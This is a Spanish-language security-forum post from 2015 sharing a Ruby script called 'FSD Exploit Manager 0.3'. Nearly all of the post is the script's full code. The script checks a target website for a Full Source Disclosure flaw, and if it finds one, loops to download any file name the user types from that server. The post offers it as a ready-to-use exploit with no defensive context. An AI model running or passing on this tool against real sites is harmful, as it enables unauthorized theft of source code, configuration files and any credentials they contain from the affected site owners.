Inicio
Buscar
Ingresar
Registrarse
Starfield: el juego que revolucionará el espacio y la tecnología
Hack x Crack - Comunidad de Seguridad informática
»
Programación
»
Scripting
»
[Ruby] FSD Exploit Manager 0.3
Imprimir
Páginas: [
1
]
Ir Abajo
Autor
Tema: [Ruby] FSD Exploit Manager 0.3 (Leído 5573 veces)
BigBear
{ L5 } Smurf
Mensajes: 594
[Ruby] FSD Exploit Manager 0.3
«
en:
Septiembre 04, 2015, 10:59:06 pm »
Un simple script en Ruby que sirve como exploit para la vulnerabilidad Full Source Discloure.
El codigo :
Código: Ruby
#!usr/bin/ruby
#FSD Exploit Manager 0.3
require
"open-uri"
require
"net/http"
# Functions
def
toma
(
web
)
begin
return
open
(
web,
"User-Agent"
=>
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"
)
.
read
rescue
return
"Error"
end
end
def
uso
print
"
\n
[+] Sintax : ruby locateip.rb <target>
\n
"
end
def
head
print
"
\n
\n
-- == FSD Exploit Manager 0.3 == --
\n
\n
"
end
def
copyright
print
"
\n
\n
-- == (C) Doddy Hackman 2015 == --
\n
\n
"
exit
(
1
)
end
def
installer
if
not
Dir
.
exists
?
(
"logs"
)
Dir
.
mkdir
"logs"
end
Dir
.
chdir
(
"logs"
)
end
def
download
(
file,name
)
File
.
open
(
name,
"wb"
)
do
|
saved_file
|
open
(
file,
"rb"
)
do
|
read_file
|
saved_file.
write
(
read_file.
read
)
end
end
end
def
scan_fsd
(
target
)
print
"
\n
[+] Scanning ...
\n
\n
"
path =
File
.
basename
(
URI
(
target
)
.
path
)
code = toma
(
target
+
path
)
if
code=~
/
header\
(
(
.
*
)
Content
-
Disposition: attachment;
/
print
"[+] Vulnerable !
\n
"
while
(
1
)
print
"
\n
[+] Insert Filename : "
filename = STDIN.
gets
.
chomp
if
filename==
"exit"
copyright
(
)
else
download
(
target
+
filename,filename
)
print
"
\n
[+] Downloaded !
\n
"
end
end
else
print
"[-] Not vulnerable
\n
"
end
end
target = ARGV
[
0
]
installer
(
)
head
(
)
if
!target
uso
(
)
else
scan_fsd
(
target
)
end
copyright
(
)
#The End ?
Eso es todo.
«
Última modificación: Septiembre 04, 2015, 11:02:37 pm por Doddy
»
En línea
Imprimir
Páginas: [
1
]
Ir Arriba
Hack x Crack - Comunidad de Seguridad informática
»
Programación
»
Scripting
»
[Ruby] FSD Exploit Manager 0.3
Va un mudo y le dice a un sordo: Hack x Crack usa cookies. Pues eso...
OK
Learn more